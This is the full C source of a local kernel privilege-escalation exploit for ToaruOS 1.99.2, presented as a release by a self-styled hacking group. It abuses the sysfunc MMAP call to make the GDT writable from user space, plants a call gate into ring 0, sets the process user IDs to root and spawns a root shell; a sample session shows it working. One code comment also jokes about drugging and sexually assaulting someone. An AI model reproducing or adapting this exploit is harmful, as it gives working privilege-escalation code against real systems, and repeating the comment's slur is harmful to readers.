mehsauce 'kay Kay ...


```
/*
 *  The Mickey Mouse Hacking Squadron proudly presents
 *
 *    ToaruOS 1.99.2 sysfunc local kernel exploit
 *
 *          PART III: THE MMU STRIKES BACK
 *                    Starring
 *
 *             Kay 'What the MMU?' Lange
 *                   Mickey Mouse
 *
 *
 *                 .-"""-.
 *                /  . -  \
 *                \       /
 *           .-""-.,:.-_-.<
 *          /    _; , / ).|
 *          \  ; / `  `"  '\
 *           '.-| ;-.____, |            .,
 *               \ `._~_/ /            /"/
 *   ,.           /`-.__.-'\`-._     ,",' ;
 *   \"\         / /|   o   \._ `-._; /  ./-.
 *    ; ';,     / / |    `__ \ `-.,( /  //.-'
 *   :\  \\;_.-" ;  |.-"`    ``\    /-. /.-'
 *    :\  .\),.-'  /      }{    |   '..'
 *     \ .-\      |          , /
 *      '..'      ;'        , /
 *               ( __ `;--;'__`)
 *                `//``    `||`
 *               _//        ||
 *       .-"-._,(__)      .(__).-""-.
 *      /          \     /          \
 *      \          /     \          /
 *       `'--==="--`       `--""==--'`
 *
 *  local@livecd ~$ gcc -Wall kowasu-sysfunc-strikes-back.c -o meh
 *  local@livecd ~$ whoami
 *  local
 *  local@livecd ~$ ./meh
 *  0@livecd /home/local# whoami
 *  root
 *
 *  Tested on VMWare only.  If this crashes ToaruOS, well, so does ToaruOS.
 */
#include <assert.h>
#include <stdio.h>
#include <unistd.h>
#include <inttypes.h>
#include <string.h>
#include <sys/sysfunc.h>
#include <kernel/process.h>
#include <kernel/spinlock.h>
#include <kernel/arch/x86_64/pml.h>

#define ENTRY_MASK 0x1FF
#define PAGE_SHIFT 12
#define CANONICAL_MASK 0xFFFFFFFFFFFFULL
#define HIGH_MAP_REGION 0xFFFFFF8000000000ULL

#define PAGE_ALIGN(x) ((x) & ~0xFFF)
#define PAGE_ADDR(x) (((x) & CANONICAL_MASK) >> PAGE_SHIFT)
#define PML4_PAGE(pml, a) ((pml[PAGE_ADDR(a) >> 27].bits.page) << PAGE_SHIFT)
#define PDP_PAGE(pml, a) ((pml[PAGE_ADDR(a) >> 18].bits.page) << PAGE_SHIFT)
#define PD_PAGE(pml, a) ((pml[PAGE_ADDR(a) >> 9].bits.page) << PAGE_SHIFT)

struct gdtr
{
        uint16_t limit;
        uint64_t base;
} __attribute__((packed));

typedef struct {
        uint32_t address;
        uint16_t selector;
} __attribute__((packed)) lcall_arg_t;

/* We access the GDTR from both user and kernel, so we keep it global. */
struct gdtr g;
```

```
79
80  /* We also access the TSS descriptor and backup from user and kernel. */
81  uint8_t *tss;
82  uint8_t tss_old[16];
83
84  static inline uint16_t
85  make_selector(int index, int ti, int rpl)
86  {
87          return index << 3 | ti << 2 | rpl;
88  }
89
90  static inline void
91  make_callgate(void *p, uint16_t selector, uint64_t offset, int dpl)
92  {
93          ((uint16_t *)p)[0] = offset;
94          ((uint16_t *)p)[1] = selector;
95          ((uint8_t  *)p)[4] = 0;
96          ((uint8_t  *)p)[5] = 0x80 | dpl << 5 | 12;
97          ((uint16_t *)p)[3] = offset >> 16;
98          ((uint32_t *)p)[2] = offset >> 32;
99          ((uint32_t *)p)[3] =  0;
100 }
101
102 static inline void *
103 mmu_map_from_physical(uintptr_t frameaddress)
104 {
105         return (void *)(frameaddress | HIGH_MAP_REGION);
106 }
107
108 static inline union PML *
109 mmu_get_page(uint64_t address)
110 {
111         union PML *pml;
112
113        /* We take shortcuts: if the first GDT page were to suddenly have
114         * disappeared from the tables we're fucked like a skank on roofies
115         * during prom night anyway.
116         */
117         pml = this_core->current_pml;
118         pml = mmu_map_from_physical(PML4_PAGE(pml, address));
119         pml = mmu_map_from_physical(PDP_PAGE(pml, address));
120         pml = mmu_map_from_physical(PD_PAGE(pml, address));
121         return (union PML *)&pml[PAGE_ADDR(address) & ENTRY_MASK];
122 }
123
124 /* Safety play.  Modern times are so wordy.  I really really really
125  * wanna push- and popa.
126  */
127 extern void callgate(void);
128 asm (
129         ".global callgate\n"
130         "callgate:\n"
131         "swapgs\n"
132         "push %r15\n"
133         "push %r14\n"
134         "push %r13\n"
135         "push %r12\n"
136         "push %r11\n"
137         "push %r10\n"
138         "push %r9\n"
139         "push %r8\n"
140         "push %rdi\n"
141         "push %rsi\n"
142         "push %rdx\n"
143         "push %rcx\n"
144         "push %rbx\n"
145         "push %rax\n"
146         "call callgate_handler\n"
147         "pop %rax\n"
148         "pop %rbx\n"
149         "pop %rcx\n"
150         "pop %rdx\n"
151         "pop %rsi\n"
152         "pop %rdi\n"
153         "pop %r8\n"
154         "pop %r9\n"
155         "pop %r10\n"
156         "pop %r11\n"
157         "pop %r12\n"
158         "pop %r13\n"
159         "pop %r14\n"
160         "pop %r15\n"
161         "swapgs\n"
162         "lretq\n"
163 );
164
165 /* CPL0 code. */
166 void callgate_handler(void)
167 {
168         union PML *gdt_page;
169
170         spin_lock(this_core->current_process->image.lock);
171         this_core->current_process->user = 0;
172         this_core->current_process->real_user = 0;
173
174         /* Get the GDT base page and give it back to the kernel.  This way the
175          * process exit routine will not free it once we exit.
176          */
```

```
        gdt_page = mmu_get_page(PAGE_ALIGN(g.base));
        gdt_page->bits.user = 0;

        /* Invalidate the TLB entry for the first GDT page. */
        asm volatile ("invlpg (%0)"::"r"(PAGE_ALIGN(g.base)):"memory");

        /* Restore the GDT TSS descriptor while we're at it. */
        for (int i = 0; i < 16; i++)
                tss[i] = tss_old[i];

        spin_unlock(this_core->current_process->image.lock);
}

int main(void)
{
        char *args[2];

        /* Get the GDTR so we can target the base descriptor table. */
        asm volatile ("sgdt %0":"=m"(g)::"memory");

        /* Get the TSS descriptor, as we can clobber it with a callgate.  TR
         * caches the descriptor value, so ruining it does not really matter
         * much, and we'll restore it when we're done.
         */
        tss = (void *)(g.base + 40);

        /* Call TOARU_SYS_FUNC_MMAP to remap the lower region GDT.
         *
         * This was initialized in the lower ranges during multiboot, and as a
         * result the higher page directories are not owned by the kernel but
         * by the user.  Next mmu_frame_allocate will conveniently set the user
         * bit to 1 for us.
         */
        args[0] = (char *)PAGE_ALIGN(g.base);
        args[1] = (char *)4096;
        if (sysfunc(TOARU_SYS_FUNC_MMAP, args) < 0) {
                perror("sysfunc()");
                exit(EXIT_FAILURE);
        }

        /* Make a copy of the TSS descriptor for restoration later on. */
        memcpy(tss_old, tss, 16);

        /* Make a CPL3 -> CPL0 callgate.  Note that the kernel cs descriptor is
         * at GDT index 1.
         */
        make_callgate(tss, make_selector(1, 0, 0), (uint64_t)callgate, 3);

        /* Perform a far call to the callgate we set up at GDT index 5.  We
         * call a callgate so a 32-bit call destination is fine, as the
         * destination comes from the gate descriptor anyway.
         */
        lcall_arg_t lca = { 0, make_selector(5, 0, 3) };
        asm volatile ("lcall *%0"::"m"(lca));

        /* This is my boom schtick! */
        args[0] = "/bin/sh";
        args[1] = NULL;
        execve("/bin/sh", args, NULL);

        /* Well, crud. */
        perror("execve()");
        exit(EXIT_FAILURE);
}
```